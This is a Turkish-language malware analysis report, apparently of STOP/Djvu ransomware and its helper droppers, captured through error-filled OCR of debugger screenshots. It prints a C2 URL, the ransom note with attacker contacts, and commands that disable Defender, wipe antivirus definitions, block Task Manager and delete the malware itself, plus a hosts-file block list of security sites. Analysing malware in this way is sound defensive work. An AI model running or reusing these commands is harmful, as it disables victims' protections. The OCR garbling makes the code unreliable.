2D8424 8CO90000 lea eax,dword ptr ss:|fesp-3:aC])
50 push esax eax:&L"http: //asvb. top/nddddhsspens/get. php?pid=a4¢
FF15 48C1E200 €all dword ptr ds:[<&Istrcpyis] ;ELSGSPF gnn‘n\gziz
S0BF BS55F0100 00 cmp byte ptr ds:[edi+15FB5],0 OF 0 SEO0 DEO
—————— - jne abc.D7ES43
I 80BF BESFO100 00 cmp byte ptr ds:[edi+15FB6],0 CFO0 TFO IF1
I g v 75 21 jne abc.D7ES43 H
I f 807C24 12 00 mp byte ptr ss:ffesp+120,0 .
i a B e S — "‘I‘ D Varsayilan (stdcall) '] 5 |2 [ Kiitsiz
R - 1: [esp+4] 0ODOOOOD
eax=1036A260 &L"http://asvb.top/nddddhsspené/get. php?pid=A467C33499760264BCE4BE5DCF3211B6" 2: [asp+8] DOE73270 abc.DOE73270
3: [esp+C] 00000000
4: [esp+10] 00010000
.text:00D7ESOL abc. exe:$1E901 #1DDO4

| eoskim: | @boskimz | @ik oskom3s | wpskima | @Woskims | @D ize 1 [ b=l verel Defiskenler | 7 vapi | | DOBON0G

naes Hex UNICODE ‘ 0E73270 | abc. ODE73270

O03EFGCS|E8 00 74 00|74 0D 70 Q034 0D 2F OD|2E DO &1 00| RTtTp://a

O03EFED8 |73 00 76 00|62 00 2E 00|74 SE Zo 00 00| svb.top/

0O3EFGES|EE 00 €4 00|64 0D G4 00|Es 00 68 00|72 00 72 00| nddddhss

003EFEFB|Z0 00 65 O0|GE 00 36 002 w7 00 00 | pens/get

Q03EF708 | ZE 00 7 (g8 00 70 00| ZF 00 70 OO 00 00| .php?pid - . i d=/

003EF718 | S0 o0 0 TR o o 0| Sa4e7C93 & L"http: //asvb. top/nddddhsspené,/get. php?pid=A467C9349978
D03EF728 (24 00 18] D 27 00 00 _20 00 00 00| 4997B026

0D03EF738 (34 00 0 I 0 (34 00 00 00 00 | 4BCB4BBS

003EF748| 14 00 0 0 0|32 00 =1 00|21 00 42 0Q|DCF32118 ml
D03EF758 0 0 0 00 00|00 00 00 O [T -

6 0 00

0O3EF768|00 00 00 00|00 OO0 00 00|00 00 00 00|00 0D 00 00| ........ |
003EF778|00 00 00 00|00 00 00 00|00 00 00 00|00 0D 00 00 ........ o
0QOEFFER1 00 00 00 00100 00 00 0000 00 00 00100 00 00 00

L"A467C534997B0264ECE4BEEDCF321186”
] +

Komut: Varsayllan A




'4,

PUb|IC key olusturulduktan sonra zararli sifreleme islemleri senkron bir sekilde gerceklestirmek icin
“{1D6FC66E-D1F3-422C-8A53-COBBCF3D900D}” veya “{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}’
adinda bir mutex olusturmaktadir.

~ TC AA Jj! zarar|i.35A7F1

68 COA74500 push zararl1i.4547c0 A45A7CO:L"————— BEGIN PUBLIC KEY-—--- VWOAANMITBIjANBgkghkiGOwWOBAQE
FF15 EOC04000 call dword ptr ds:[<&lstrlenw=]
85C0 test eax,eax
v 7F 4A ig zarar1d.35ABA0
B9 78324500 mov ecx,zarar1i.45327 8 453278:&"1E50FB05D801297E0358DA026896E58D"
E8 DO3FFFFF gall zararli. 345?60
B8B5424 30
68 5C324500
6A 00
68 70324500
68 90E63500 ush z z
68 00801A06 push oJ. :\EEE
BB15 25924600 mov byte ptr ds:[469225], d'\
885424 50 mov eclx dword ptr ss: [esp
6A 00 push 0
8B15 26924600 mov byte ptr ds:[469226],d]1
FF15 74C14000 gall dword ptr ds: [<&createThread>]
6A FF push FFFFFFFF
50 push eax
A3 60324500 mov_dword ptr ds:[453260],eax
FF15 DOC14000 call dword ptr ds: [<&wa1trors1ng1e0b]ect
68 F8434400 push zararl1i.4443F8 4443F8: " {1D6FCE6E-D1F3-422C-8A53-COBBCF3D900D}
64 00 push 0
00 push 0
FF15 30C14000 call dword ptr ds:[<&CreateMutexA>]
A3 38324500 mov dword ptr ds: [453238] eax
EB 14 jmp zarar1i.35A8C
68 20444400 push zararli. ii—'ii(l 444420 :"{FBB4BCCH-05C7-4ADD-B67B-A9BA697323C1}"
6a 00 push 0
6a 00 push 0
FFL15 30C14000 call dword ptr ds:[<&CreateMutexa=]
A3 30324500 mov dword ptr ds:[453230],eax
6A 0A push A ) . . -
{11} 2
0045A7C0 L"-———- BEGIN PUBLIC KEY---—- AMTIBTIjANBgkqhkiGIWOBAQEFAAOCAQBAMTTEC gKCAQEAXNGVENCWIC146UbL Y, /QPk ryadP4FD3DNs zyHEbAaH5MThTG955MmBKE ZPQUT uSNUW3Q1 5L uuxE”

PUBLIC KEY: ---BEGIN PUBLIC KEY-----
\nMIIBIjANBgkghkiGOWOBAQEFAAOCAQ8AMIIBCgK
CAQEAXNqv8nCW9C146Ub1/QPk\nya9P4FD3Dnszy
HEbAaH5mMThTg9S5m6KFzPQUiuSnUW3QiSL/Uux8b
1Llyuk8baQY\nLVIDIME/yyVSbnxO06cMbcKUMW//
zIQc85jaQmyp33E40H10oUallLcnak+3RL8cTO\NICTq
7Vsmhc6EAHQeg5R7D0COb7ky83sU5dbsXd0/M vl
zf2B3n/uNyuBwglOLaWM\nXrbAGrzK/nM6yRhwilq
acwhNaFrHz9Fjc7QWFlugf8fEgFB7whqw7wciegNz
mr5o\nL3xSqRMpHIdQTI6QaAzW3d092rLyS}Y/BZsB
OrOuogey1lHHgl+PvvCnbJJESM5/\nywIDAQAB\n
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Zararl belleginde bulundurdugu “_readme.txt” adinda bir dosya olusturmaktadir.

EAX 0000009

30
890451 esi 4] eax EBX  0026£800
En0 I ebx] a ECX  03A96400 "_readme. txt”
B EDX 00000000
€8 80C40100 00420, o) £8¢  0026£88d
e o EsP  0026E8a0
BBS5 FC ptr ss:flebp-4]) EST Uﬂﬂﬂ‘lmg
83cd 10 d esp. EDT  03A96497
8245 F8 mov eax,dword prr ss:febp-s] ) .
8a3ca7 mov edidword ptr ds:lediecx*4] EIP  0034EFD1 zarar 11, 00346F 01
883490 mov esi,dword ptr ds:[eax:edx*4] esi: '
33c0 xor eax,eax
F3:as rep movid
66:A5 moV:
a4 mov:
8049 00 Tea ecx,dword : [ecx]
e LastError 00000000 (ERROR_SUCCESS)

LasTSTatus C000007C (STATUS_NO_TOKEN)

[ebx]
ecx: edx4]
eax] , B0

GS 0028 FS 0053
£S5 0025 DS 0028

. 7¢ . 34EFCO
2 €s 0023 ss 0028
882 esi
8955 FC ptr ss:febp-4], adx 5T(0) FFFFO000000000000001 x87r0 Bos invalid
3855 08 cmp_edx,dword ptr ss:[ebp+8) ST(1) FFFFO0000000FFFFFFFF x87r1 Bos invalid
7C A4 i1 zararli.34eF80 ST(2) FFFFO00000012C6C20A4 X87r2 Bos invalid
pop edi . ST(3) FFFFOO000000FFFFFFFF x87r3 Bos invalid
SE pop esi esi: ST(4) FFFFO000000000000000 x87rd Bos invalid
58 pop ebx ST(5) FFFFO000000000000000 x87r5 Bos invalid
BBES mov =IAP‘EJL‘ sT(6) 3FFFB000000000000000 x87r6 Bos 1.00000000000000
ég 'Eglt’ ebp sT(7) 3FFFBO000DD0DOD00000 x87r7 Bog 1.0000000000000C
= =3 xB7Tagword FFFF
cc inta + | X87TW_0 3 (Bo3) X87TW_1 3 (805)
== B X87TW_2 3 (BoS) x87Tw_3 3 (Bog)
il » X87Tw 4 3 (Bos) X87TW 5 3 (Bos)
edx=0 —
Varsayhn (stdcal) -5 ][] Kitsz

80
.Text:0034EFDL zarar1i.exe:SEFDL #E301 Esp+!] 03494800

[esprc] 0044eFBO zararli.0044rFe0
1 nnnoo

“_readme.txt” dosyasinin olusturulmasindan sonra igine yazilacak verileri ¢dzimlemektedir. Veriler
¢ozlimleme isleminden sonra olugturulan “_readme.txt” dosyasinin igerisine yazdirilmaktadir.

83c4 04 add esp,4 o ] EAX 00000097
8975 Fc mov dwgrd prr ss:liebp-4l, esi EEX  0026E8D0
FE test edi,e 71 g ! P
- Z T zarai 1, saee o osd01040 ATTENTION!\r\n\r\nbon't worry, yo
B 2 o eahesp dword ptr ss:flespll EBP  0026E8B4
£8 D81C0100 call <zararli._mal ESEQEOOPGEBAD
8E0E mov ecx,dword ptr d; Tebx] eCx:"ATTENTION! \r\n\r\nbon't worry, you can return all your files!\r\nall your || ESI ~ 0044240¢
68 97000000 pusp 97 D CERCHEL
890481 mov dwnrd ptr ds [ecx esi*4],eax EIP  0034EFD1 zarar1i.0034EFDL
8803 v eax, dword ebx [ebx] :&"ATTENTION! \F\n\F\nDon 't worry, you can return all your filest\rinall y
F3480 push dword ptr e [eax esi®a] EFLAGS 00200344
E8_80C40100 call zararli.36B420 ZE1 PEL1 AF O
& mov edi,dword ptr ds:[ebx] [ebx] :&"ATTENTION! \r\n\r\npon't worry, you can return all your files!\r\nally [ oF 0 SF O DF 0
8925000000 mov ecx,25 ecx: "ATTENTION! \r\n\r\nban't worry, you can return all your files!\r\nall your [ cFro TFr1 1IF 1
8855 mev cdx duord pr ss:lebp-¢]
2 addies LastError 00000000 (ERROR_SUCCESS)
EEd RS o dord prr ss:febp- 5] Laststatus CO00007C (STATUS_NO_TOKEN)
8B3C97 mov edi,dword ptr ds:[edi+edx+a] ! =
883490 moy s;;:gv;ird ptr ds:[eax+edx 4] esi: & CED G5 0D
F3:A5 rep movsd S 0025 DS 0026
66145 movsw C5 0023 S5 0026
movsb
8049 00 lea ecx,dword ptr d "ATTENTION! \r\n\r\nDon’t worry, you can return all your files!\r\nall your | ST(0) FFFFO000000000000001 x87r0 Bos invalid
8508 mov ecx ! dword prr d x] ATTENTION! \r\n\r\nbon't worry, you can return all your files!\r\nall your | ST(1) FFFFOOD000COFFFFFFFF x87rl Bos invalid
880C91 mov E(x.dwnrd d: E(xﬂadx 4] ecx: "ATTENTION! \r\n\r\nbon't worry, you can return all your files!\r\nall your ST(2) FFFFO00000012C6C2DA4 Xx87r2 Bos invalid
803401 80 xor byte ptr ds [ecx eax], 8 5T(3) FFFFO0000000FFFFFFFF x87r3 Bos invalid
inc eax ST(4) FFFFO000000000000000 x87r4 Bog invalid
3D 97000000 cmp_eax sT(5) FFFFO000000000000000 Xx87r5 Bos invalid
- "‘S EF Q:‘CZSE:’“ 34EFCO sT(6) 3FFFB000000000000000 xB7r6 Bos 1.00000000000000
o 8aF2 5 Gl esii” " sT(7) 3FFF8000000000000000 x87r7 Bos 1.00000000000000
. 8955 FC mov dword ptr ss:llebp-41, edx _
M 3855 08 cmp edx,dwgrd p(r[sie[e%p—s] x87Tagword FFFE _
o ~ 7C A4 i1 zararli.34eF80 ~ | x87Tw_0 3 (Bos) xB7TW_1 3 (Bos)
e = - XB7TW_2 3 (Bo3) x87TW_3 3 (B03)
1 D 7T 7TH 5.
SCx=03AD7D80 "ATTENTIONT\I U can return alT your FilesI\rinall your files Tike pictures, databases, documents and other Tmportant are encrypted with s =
dword ptr [ecx+edx*4]= [03A97DBO ATrENTInN'\r{n\r\nDon T worry, you can return all your files!\r\nall your files like pictures, databases, documents and other important are encrypted w Varsayian (stdcal) '] 5 [21[C] Kitsz

T: [esp+d] 00762BAB & _readme, tXT
: [esp+8] 00841EA8 &L"_readme.Txr"

. Text:0034EFC2 zararli.exe:$EFC2 #E3C2 2
3: [esp+C] 0044FEF0 zarar1i.0044FEFO
Ao 1A1_6nANAAND

Zararl, olusturulan “_readme.txt” dosyasl icerisinde vyazilan veri ile kullaniclyi yoénlendirmeyi
amaclanmaktadir.

ﬁ _readme.tt - Not Defteri
Dosya Dozen Bigim Goronom  Yardim
ATTENTION! -

pon’t worry, you can return all your files!

A1l your files like pictures, databases, documents and other important are encrypted with
strongest encryption and unique key.

The only method of recovering files is to purchase decrypt tool and unique key for you.
This so¥tware will decrypt a?1 your encrypted files.

what guarantees you have?

vou can send one of your encrypted file from your PC and we decrypt it for free.

BUut we can decry?t only 1 file for free. File must not contain valuable information.
vou can get and look video overview decrypt tool:

https://we.tl/t-IMhsjauzqe

price of private key and decrypt software is $980.

Discount 50% available if you contact us first 72 hours, that's price for you is $490.
Please note that you'll never restore your data without payment.

Check your e-mail "spam” or "Junk" folder if you don’t get answer more than 6 hours.

To_get this software you need write on our e-mail:
helpteam@mail. c

rReserve e-mail address to contact us:
helpmanager@airmail. cc

Your personal ID:
0299ewgf Dd94ZMASYQT4QGhpOoBgEWWMGUTVEKZWE7 0ThXuTtl
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Isletim sisteminin kesintiye ugramamasi, sistem dosyalarinin ve klasorlerinin sifrelenmesinin éniine gecilmesi
icin kontroller yapildig1 gbzlenmektedir. Sifrelenmeyecek dosya uzantilari listesi su sekildedir;

.SYS .DLL blf .regtrans-ms
.ini dll .bat ntuser.dat
ntuser.pol ntuser.dat.LOG2 Ink ntuser.dat.LOG1

Listedeki klasorlerin sifrelenmesi icin bu

dizinlerin taramasi yapilmaktadir.

8855 FC

€ax,dword ptr

ecx,dword ptr
JOword ptr
803401 80 e ptr H ¢
40

30 97000000
7C EF

cmp eax,
J1 abcunp.20EFCO
¢ edx

SessNeeNNNRRERRRIRRRES

42 n

g 88F2 [mov es1,edx
8955 FC mov dword prr :febp- 43, eax
3855 08 cmp edx,dword ptr ss:fesp
7 AL 11 _ahconn INEERN

FPU Gizle

EAX 00000097
EBX QOSSEIFC
ECX 033F2798
QOSSE9SES
00SSESO0
0030387F
033F282F

DX
EBP

e51=0030387F
edx=1

- TeXT:0020EFD2 abcunp. exe: SEFD2 #E302
%5 DGilm2

%5 00kimd | 4% DokumS

$°% Dokim1
Adres Hex

"% Dokum3

@ tde 1 | Ixe) Yerel Degiskerier |

€

“ntuser.dat|ntuser.dat.L0G1|ntuser.d

abcunp. 0020EFD2

»i? 15 Kiitsiz

pr14] 0055FECH
fesp+18] 002EB16E abcunp.002EB16E
{esp+1c] 00000004

&' Yopr @ emz”

033F2798 |6k 74 75 7
033F27A8 4

abcunp. 0030FFS0

0000000A
00000000
0000000A
00000000

O09EAD40 &".ehiz™
00000000
v 00000000

002EB16E| return to abcunp

D09EAQ10! &"ntuser.dat|ntuser.dat.LOGL [ntuser.dat.LOG2 | ntuser.pol

{Drive}:\SystemID\

{Drive}:\Users\Public\

{Drive}:\SRecycle.Bin\

{Drive}:\Users\Default User\

{Drive}:\Users\All Users\

{Drive}:\SWINDOWS.
~BT\

{Drive}:\PerfLogs\

{Drive}:\Users\Default\

{Drive}:\dell\

{Drive}:\ProgramData\Microsoft\

{Drive}:\Documents and Settings\

{Drive}:\Intel\

{Drive}:\ProgramData\Package Cache\ | {Drive}:\ProgramData\ {Drive}:\MSOCache\
{Drive}:\Users\Public\ {Drive}:\Recovery\ {Drive}:\Program
Files\

{Drive}:\Users\%username%\AppData
\Local\

{Drive}:\System Volume Information\

{Drive}:\Windows.old
\

{Drive}:\Windows\

{Drive}:\Users\%username%\AppData\Ro
aming\

{Drive}:\Games\

{Drive}:\ProgramFiles (x86)\
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Kullanicinin hacker ile iletisim kurabilmesi ve kanit videolarina ulasabilmesini engellememek icin web
tarayicilarinin bulundugu dizinlerin sifrelenmesi engellenmektedir.

FF7424 18 push dword g(r 55:esp+18] [esp+18] :&". ehiz" - unemere J
E8 35770000 all <zararli.j_free> EAX 00000000
gic‘* 04 add esp,4 EBX  00B41EFO aL”.ehiz"
2 ECX  00826CBO &L c\\windows\\"
330 Xor eax,eax = ..
74424 30 0700000qmov dword ptr ss:fes ; L ) ) ; EOX Gogonsw b
68 18404400 ush zar éLola';;Slés — 444018:L"c:\\Program Files (x86)\\Mozilla Firefox Eob  0030r8e8 &L"ci\program Files (x86)\\Mozi1l
C74424 30 00000000 mov dword ptr ss:[es, 0 ESI  Q0841F08
66:894424 20 mov_word ptr ss:[esp+20[],ax EDI  0026E8D8
E8 SAADFEFF call zararli.355C10
804424 18 Tea eax,dword ptr ss:llesp+18] [esp+18]:&". ehiz" EIP  0035AE60 zarar1i.0035AE60
88CE mov ecx,esi ecx:&L"C 1\ \Windows\\"
push eax EFLAGS 00200246
E8_FESGFFFF call zararli.353580 ZF1 PF1 AF O
83724 2¢ 08 cmp_dword ptr ss:lesp+2cl,8 OF 0 SF O DFO
~ 72.0C ib zarar1i.35AE05 cFO TFO TF1
FF7424 18 push dword ptr_ss:flesp:1¢] [esp+18]:&". ehiz"
FE R S szararli.j free Lasterror 00000000 (ERROR_SUCCESS)
6a 20 ;usheigr LastStatus €000007¢ (STATUS_NO_TOKEN)
330 Xor eax,eax
€74424 30 07000000 mov dword gtr ss:fesp+300,7 i GS 0028 FS 0053
68 68404400 ush zarar1i.444068 444068:L"c:\\Program Files (x86)\\Internet Exploreri\" ES 0028 DS 0028
8D ea ecx,dword ptr ss:flesp+20] Cs 0023 35 0028
€74424 30 0000000qmov dword ptr =5 :[es, 0
66:894424 20 mov word prr ss:flesp+20], ax ST(0) FFFF000000000000000L X87r0 Bog invalid
E8 S4ADFEFF call zararli.355C10 ST(1) FFFFO0000000FFFFFFFF x87r1 Bo3 invalid
804424 18 Tea eax,dword ptr ss:llesp+18] [esp+18]:&". ehiz" ~ || sT(2) FFFF000000012C6C2DA4 Xx87r2 Bos invalid L
]
I »
(strican ~le I iirsiz

C:\Windows C:\ProgramFiles (x86)\Internet Explorer

C:\ProgramFiles (x86)\Mozilla Firefox C:\Program Files (x86)\Google

C:\Program Files\Google. C:\Programes\Mozilla Firefox

D:\Program Files (x86)\Mozilla C:\Program Files\Internet Explorer
Firefox

D:\Program Files (x86)\Internet Explorer D:\Program Files\Mozilla Firefox

D:\Program Files (x86)\Google D:\Program Files\Internet Explorer

D:\Program Files\Google D:\Windows

GetDriveTypeA API'i ile disk tipi kontroll yapilmaktadir. Eger disk tipi tasinabilir disk strtcusd, hard disk
sUrlcUsid veya ag srlcl ise bu sUrUcUler de gezilerek sifrelenmektedir.

FE]

.text:@0D7eBOC cmp [esp+SBh+var_2C], 18h
Ltext:@0D7e811 lea eax, [esp+s@h+pszPath] ;
Ltext :@007EB15 cmovnb eax, [esp+i@htpszPath] ;
Ltext:@007Te81A push eax ; int
Ltext :@007e81E call ds:GetDriveTypea
Ltext:@8D7EE21 cmp eax, 2

text: 00070824 jb short loc_D7eB8E

K

™

Ltext :@8DTOE2E6 cmp cax, 4 :
text:@0D70E29 jbe short loc_D76838

¥

™)

Ltexti@BDTEE2E cmp eax, &
Ltext :@0D7TOB2E jnz short loc_D7eBBE

Yy

™

text:@8070B838

Ltext: 00070832 loc_D7@B30:

Ltext:@0D70E38 sub esp, 13h

Ltext: 20070833 mov [esp+78h+var_aD], @
Ltext :@8DTEEIE mov BCx, esp

Ltext:@807083A lea eax, [esp#78h+pszPath] ;
Ltext:@807083E push BFFFFFFFF h : Size
Ctext: 80070848 push ; int
Ltext:@aD7TeB42 mov dword ptr [ecx+l4h], @Fh
Ltext:@aD7TeB4S mov dword ptr [ecx+l@h], @
text:@a07e858 push eax 3 int

B S~
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Dizin tarama faaliyetleri sonrasi zararli SystemID dizini altinda “PersonalD.txt” olusturmaktadir. Olusturulan
“PersonallD.txt” dosyasina Public Key’ den ayristirilan “PersonallD” yazdirilmaktadir.

abc.00DGC94E
Hcall dword ptr ds: [<&CreateDirectoryw:=]

push abc.E C4

push abc.E ESFES88:L"C:%\SystemIDY\PersonalID. txt"
call abc.DBOFDD

add esp,8

mov dword ptr ss:[febp-10§, eax
test eax,eax
jne abc.DE&CIAF

Sifreleme islemine baslamadan dnce mouse cursor ayarlarinda ve pencere bilgilerinde glincellemeler
gerceklestirilmektedir. Pencere ekranda gorilmeyecek uzaklikta bir x, y koordinatina ayarlanmakta ve
pencerenin basligl “LPCWSTRszTitle” olarak ayarlanmaktadir.

abc. 00D7BASD
push esi

push 0

push ecx

push 0

push 0

push 0

push 80000000
push 0

push 80000000
push CFOO00
push abc EC4 ; EG3IEC4:L"LPCWSTRszTitle"

push abc. EE4 ; EG3EE4:L"LPCWSTRszWindowClass"
push 0

mov dword ptr ds:[E7F3244],ecx

call dword ptr ds:[<&CreatewindowExw:=]

mov esi,eax

test esi,esi

jne abc.D7BABB

¥ ¥
abc.00D7BABB abc. 00D 7BABS
push 0 pop esi
push esi ret
call dword ptr ds: [<&Showwindows=]
push esi

€all dword ptr ds: [<&uUpdatewindows]
mov dword ptr ds:[EF323C],esi

mov eax,l

pop esi

ret

Zararl pencerenin olusturulmasiyla birlikte sifreleme islemine baslamaktadir.

Ltext :@RDGEILY

Ltext:PODEEDILY loc DEE914:

LLext i @ODEEILL cmp [ebptarg_14], 18h ;
Ltext:PODEEILE lea eax, [ebp+pbData])

Ltext :@BDGEILE push a ; dwFlags

Ltext :@ODEEILD push [ebp+dwlatalen] ; dwDatalen
LAext:@OD6EI20 cmovnb eax, [ebpipbData] i

Ltext :@B0DGEF24 push eax ; pbData
LALext :@ODGEI2S push [ebp+phHash] ; hHash
Ltext:@ODGEI2E call ds:CryptHashDat jirect
Stext:0ODGEIZE test cax, cax

Ltext:PODEEDID jnz short loc_DEEZ43
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( Updatewinl.exe ANALIZ

Orjinal Dosya Adi: | rawudiyeh.exe

Dosya Adi: Updatewinl.exe
Md5S: 5b4bd24d6240f467bfbc74803c9f15b0
Sha256: 14c7bec7369d4175c6d92554b033862b3847ff98a04dfebdf9f5bb30180ed13e

Zararlinin temel amacinin antiviris ve monitoring hizmetlerini bypass etmek oldugu goézlenmektedir.
--Admin parametresiyle baslayip baslamadigini kontrol edilmekte. Eger bu parametre ile baslatiimadi ise bu
parametreyi eklemekte ve yeniden process olusturarak zararlinin --Admin vyetkileriyle baslatilmasi
hedeflenmektedir.

--Admin parametresi ile baslatildiktan sonra zararli faaliyetlerin gerceklestirilebilmesi icin gerekli script.ps1
dosyasini “...AppData/” klasoru altinda asagida verilen igerik ile olusturulmaktadir.

Set-MpPreference -DisableRealtimeMonitoring Strue

SHoetFolderPathw(e, 28, @, 8, pszPath);
PathappendW(pszPath, L"script.psl™);

72 = CreatefFileW(pszPath, @xCe@aeeed, lu, @, 2u, 6x38u, @);

Object = wi;
if { v2 == (HANDLE)}-1 )
1

pExceptionObject[®@] = (int)L"CreateFile™;
_CxxTherExceptlnn(,_._e;t::*:;:e:t, (_ThrowInfo *)}& TI2PA W);
h
CSIDL_LOCAL APPDATA 28 1€ 5.0 The file system directory that serves as a data

repository for local (nonreaming) applications

Powershell.exe ile asagida verilen powershell komutu calistirilarak powershell Uzerinde imzasiz script
calistirma yetkisinin edinildigi gozlenmektedir. Bu yetki sayesinde script.psl scripti sistem Uzerinde
calistirilabilir hale gelmektedir.

powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

LOWORD{v31)] = @;
sub_ALG68(& s L"powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned™, 71);
sub_Al268( 3 " N N " )i

4

Vs

N |

e —
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Asagida verilen komut satiri, powershell.exe ile calistirilarak glivenlik politikalarini bypass etmekte ve imzasiz
(gtvenilir olmayan) powershell scriptlerinin ¢ahstirilabilmesini saglamaktadir. Bu islem sonucunda
AV(AntiVirts) Grunlerinin bypass edilmesi islemi icin script.ps1 zararli dosyasi kullaniimaktadir.

http[:]//asvb[.]top/nddddhsspen6/get[.]php?pid=A467C934997B0264BCBABB5DCF3211B6&first=true

LOWORD( i[(e)) = e;
sub_A1E70(

= 138;
if ( >= 8 )
= ( ) (el;
+= 69;
& Va3;
semmove ( ( ) + 2" » L"PowerShell -Argumentlist ’-NoProfile -ExecutionPolicy Bypass -File \"\"" )3

Zararl, Microsoft Defender Antivirus'inin devre disi birakilmasini hedeflemektedir. Ve bu dogrultuda
DisableAntiSpyware registry degerlerinin zararli tarafindan degistirildigi gozlenmektedir.

= @
if { IRegDpenKeyExW({HKEY_LDCAL_MACHINE, L-Software‘\Policies‘\\Microsoft\\Windows Defender, 8, @xFBB3Fu, & 1]
{
“{ ) = 1
R I ( ; L DisabledAntiSpyware™, @, du; s Au);
ey IH
¥

Asagidaki komutun calistirilmasi ile daha 6nceden tanimlanmis olan antivirts ayarlarinin sifirlanmasi ve
antivirUslerin etkisizlestiriimesini hedeflemektedir.

Mpcmdrun.exe —removedefinitions —all

LOWIORD )} =8
sub_Aléca(& s L"C:\\Program Files\\Windows Defender\mpcmdrun.exe -removedefinitions -all™, 7@);
sub_Al1268( § 25 ¥ 5 ¥ b H
= B;
=7
LO%0RD [ =g
sub_alGEa(8& s L*C:\\Program Files (x856)\'\Windows Defender\\mpcmdrun.exe -removedefinitiens -all®, 76);
sub_a126@{v31, . ' s " 1 H
-2y
- 73
LOWORD(v3L) = @
sub_A1668(&v31, L"C:\\Program Files\\Microsoft Security Essentials\\mpcmdrun.exe -removedefinitions -all™, 83);
sub_ALl2e8( " 5 » 5 ” i H
= B;
- ?‘;
LOWORD{ 31} = @;
sub_a166@(Rv31, L"C:\\Progras Files (xB6)\\Microsoft Security Essentials\\spemdrun.exe -removedefinitions -all”, 89);
sub_A1268(
= B
=73
LERAORD | ) =@
sub_pAlEé6@(8v31, L"C:\\Progras Files (x86)\\Microsoft Security Client\\mposdrun.exe -resovedefiniticns -all”, 85);
sub_Al368( M . N . N bH

e ==~
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Scrlpt ps1 scriptinin basarili sekilde ¢alstirilabilmesi durumunda DisableTaskmgr Registry Key degistirilerek
kullanicinin gdrev yoneticisine erisimi kisitlanmaktadir.

it { 'RegOpenkeyExk(
HKEY CURRENT_USER,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\",
a,
BxFBB3Fu,
&phkResult} 3
goto LABEL 48;

|LABEL 48:
*(_DWORD *)v43 = 1;
RegSetValueExW(phkResult, L"DisableTaskmgr", @, 4u, v43, 4u);
RegCloseKey(phkResult);

Zararl AV bypass islemlerini gerceklestirdikten sonra kendisini imha edecek “delself.bat” dosyasini dinamik
olarak olusturarak sistemden kendisini silmektedir.

gGetModuleFileNameA(®, Filenams, 8x184u);
GetShortPathNameA(Filename, Filename, @x184u);

v@ = GetEnvironmentVariableA("TEMP", Buffer, @x184u};
lstrepya(Stringl, (LPCSTRY(v@ !=@ ? (unsigned int)Buffer : @));
lstr atJ{S:’ingi, "W

lstrcatA(Stringl, “delself.bat™);

lstrepyA(vB, "@echo off\r\n:try\rindel \""};
lstrcataA(vd, Filename);

lstrcatA(vE, "\"\r\nif exist \"");

lstrcata(vd, Filename);

lstrcata(vd, "\ goto try\rin"};

lstrcataA(vd, "del \"");

lstrcata(vd, Stringl);

lstrcata(vs, "\"");

if { PathFileExist ;‘(S—’ingij )

DeleteFileA(Stringl};
vl = CreateFilef(Stringl, BxCeeEERE88, 3u, @, 2u, B8x3Bu, B);
WriteFile{vl, v3, strlen{v8), &NumberOfByteskritten, @)};
FlushFileBuffers(vl);

CloseHandle(wvl};
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Updatewin2.exe ANALIZ

Orjinal Dosya Adi:

gigifaw.exe

Dosya Adt:

updatewin2.exe

Md5:

996ba35165bb62473d2a6743a5200d45

Sha256:

Scaffdc76a562e098c471feaede5693f9ead92d5¢c6¢c10fb3

951dd1fabcl2d21d

Zararli, sisteminin glvenlik giincellemelerini almasini engellemeyi amaclamaktadir.

Listede bulunan adreslerden giincelleme alinamamasi igin bu adresler host dosyasi araciligi ile “127.0.0.1

push ebp
mov ebp,esp
push esi
push edi
mov edi,edx
mov esi,ecx
cmp esi,edi

updatewinz. 004014E0

; ecx:&"ds. download. windowsupdate. com™

je updatewinz.401507

(localhost)” adresine yonlendirilmektedir.

ds[.]download[.]windowsupdate[.]Jcom
www[.]Jupdate[.]Jmicrosoft[.]Jcom
download[.]Jwindowsupdate[.]Jcom
fe2[.Jupdate[.]microsoft[.Jcom
whoer[.]Jnet

wwwi[.Jwhoer[.]net
windowsupdate[.]Jcom
wwwl[.]Jwindowsupdate[.Jcom
microsoft[.]com
wwwi.]Jmicrosoft[.Jcom
wwwi[.Jlwindowsupdate[.Jcom
windowsupdate[.Jcom
wwwil.]Jmicrosoft[.Jcom
www[.]360totalsecurity[.Jcom
www[.lkpn[.]Jcom
wwwi.Jahnlab[.]Jcom
ahnlab[.]Jcom
downloads[.]tomsguide[.]Jcom
wwwi.lJdownloads[.]Jtomsguide[.]Jcom
wwwi.]downloads2[.Jcom
download82[.]Jcom
download[.]Jcnet[.]Jcom
www[.]Jdownload[.]cnet[.]Jcom
www[.]avast[.]Jcom

avast[.]Jcom
support[.]avast[.Jcom
wwwl[.]support[.Javast[.Jcom
www].]Jconsumentenbond[.]Jcom
consumentenbond[.]Jcom
www[.]goedkoopsteantivirus[.Jcom
filehippo[.]Jcom
www[.]filehippo[.]Jcom
www|.]idealsoftware[.]Jcom
idealsoftware[.]Jcom
uptodown[.Jcom
www[.]Juptodown[.Jcom
www][.]mcafee[.]Jcom
mcafee[.]Jcom
home[.]Jmcafee[.]Jcom
www[.]lhome[.]mcafee[.]Jcom
www][.]coolblue[.]Jcom
coolblue[.]com
www][.]pcmag[.]Jcom
pcmag[.]Jcom

www][.]sky[.]Jcom

360totalsecurity[.]Jcom
wwwl[.]gratissoftwaresite[.]Jcom
gratissoftwaresite[.]Jcom
tweakers[.]net
www[.]Jtweakers[.]net
wwwl[.]avg[.]Jcom

avg[.Jcom
wwwi[.]bestevirusscanner[.]net
bestevirusscanner[.]net
wwwl[.]Jconsumentenbond[.]nl
consumentenbond[.]nl
cheaplicensing[.]Jcom
www][.]cheaplicensing[.]Jcom
global[.]ahnlab[.Jcom
www][.]global[.]ahnlabl.Jcom
kpn[.Jcom
virusscanner[.]software
www(.]virusscanner[.]software
wwwl[.]Jcomodo[.Jcom
comodol.]Jcom
wwwi.]drweb[.Jcom
drweb[.]Jcom
download[.]drweb[.Jcom
wwww(.]Jdownload[.]drweb[.]Jcom
vms[.]Jdrweb[.Jcom
www[.Jvms[.]Jdrweb[.]Jcom
alternativeto[.]ne
www(.]Jalternativeto[.]ne
softonic[.Jcom
www][.]softonic[.]Jcom
sky[.Jcom

norton[.Jcom
www([.lnorton[.]Jcom
www][.]kieskeurig[.Jcom
